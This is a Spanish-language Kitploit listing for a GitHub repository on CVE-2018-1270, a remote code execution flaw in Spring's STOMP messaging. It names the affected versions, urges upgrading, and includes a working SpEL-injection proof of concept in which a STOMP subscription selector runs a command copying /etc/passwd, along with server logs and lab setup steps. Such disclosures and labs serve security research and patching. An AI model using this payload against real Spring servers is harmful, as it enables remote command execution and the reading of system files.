Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-1270 — RCE en el protocolo STOMP de mensajería de Spring | Kitploit
Herramientas/GitHubGitHub/caledoniaproject/cve-2018-1270
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

RCE en el protocolo STOMP de mensajería de Spring

Ver Repositorio
11318hace 8 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-1270 - Vulnerabilidad de ejecución de código SpEL en Spring messaging

Ayer Spring publicó una vulnerabilidad RCE, conózcala:

  • Ejecución remota de código con spring-messaging

Versiones afectadas

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

Esta vulnerabilidad no requiere entorno específico. Si está usando spring-messaging + websocket + STOMP, actualice a la última versión lo antes posible; si usa SpringBoot, actualice a 2.0.1.RELEASE.

Detalles de la vulnerabilidad

En pocas palabras, debido a que StandardEvaluationContext tiene demasiados permisos, puede ejecutar expresiones SpEL arbitrarias, por lo que oficialmente después de Spring 5.0.5 se agregó SimpleEvaluationContext para implementar un enlace de datos simple, manteniendo la flexibilidad sin riesgos de seguridad.

spring-messaging proporciona soporte para el protocolo STOMP, permitiendo a los clientes suscribirse a mensajes y usar un selector para filtrarlos, p. ej.

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

Cuando se suscribe, Spring almacena este filtro y se activa cuando el cliente recibe un mensaje, p. ej.

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

Captura de pantalla del PoC

captura de pantalla

El artículo de análisis detallado de la vulnerabilidad se publicará más tarde.

Instrucciones de uso del entorno

Compile e inicie el servidor Spring Boot,

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

Acceda e ingrese la expresión para probar,

root@kitploit:~
http://localhost:8080

captura de pantalla de la web

Descargar herramienta